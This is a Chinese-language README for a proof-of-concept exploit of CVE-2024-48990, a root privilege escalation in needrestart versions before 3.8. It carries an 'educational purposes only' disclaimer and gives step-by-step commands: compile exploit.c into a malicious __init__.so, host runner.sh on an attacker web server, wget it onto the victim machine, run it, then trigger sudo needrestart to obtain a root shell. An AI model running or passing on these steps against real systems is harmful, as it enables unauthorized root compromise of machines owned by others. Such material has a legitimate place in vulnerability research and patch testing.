CVE-2024-48990

[!WARNING] 这些文件和信息仅供教育目的使用。 作者不对任何恶意行为负责。 所提供的所有信息均无意煽动任何类型的犯罪或滥用行为。

描述

Qualys 发现，3.8 之前的 needrestart 版本允许本地攻击者通过诱使 needrestart 使用攻击者控制的 PYTHONPATH 环境变量运行 Python 解释器，从而以 root 身份执行任意代码。请参阅 NIST 获取官方详细信息。

PoC

1. 从 git 下载仓库

git clone https://github.com/grecosamuel/CVE-2024-48990.git

2. 编译 exploit.c 库以生成有效的 ELF 库，并将其命名为 __init__.so

gcc -shared -fPIC -o __init__.so exploit.c

3. 将 runner.sh 第 7 行和第 10 行中的 <IP> 和 <PORT> 替换为你自己的 Web 服务器的 IP 和端口。
4. 启动 Web 服务器

python3 -m http.server

5. 在受害者的机器上下载 runner

wget http://IP:PORT/runner.sh

6. 为 runner 设置可执行权限

chmod +x runner.sh

7. 运行脚本

./runner.sh

8. 使用 sudo 权限运行 needrestart

sudo needrestart

当看到 [*] CVE module created 时，按 CTRL+C 停止进程并获得你的 shell！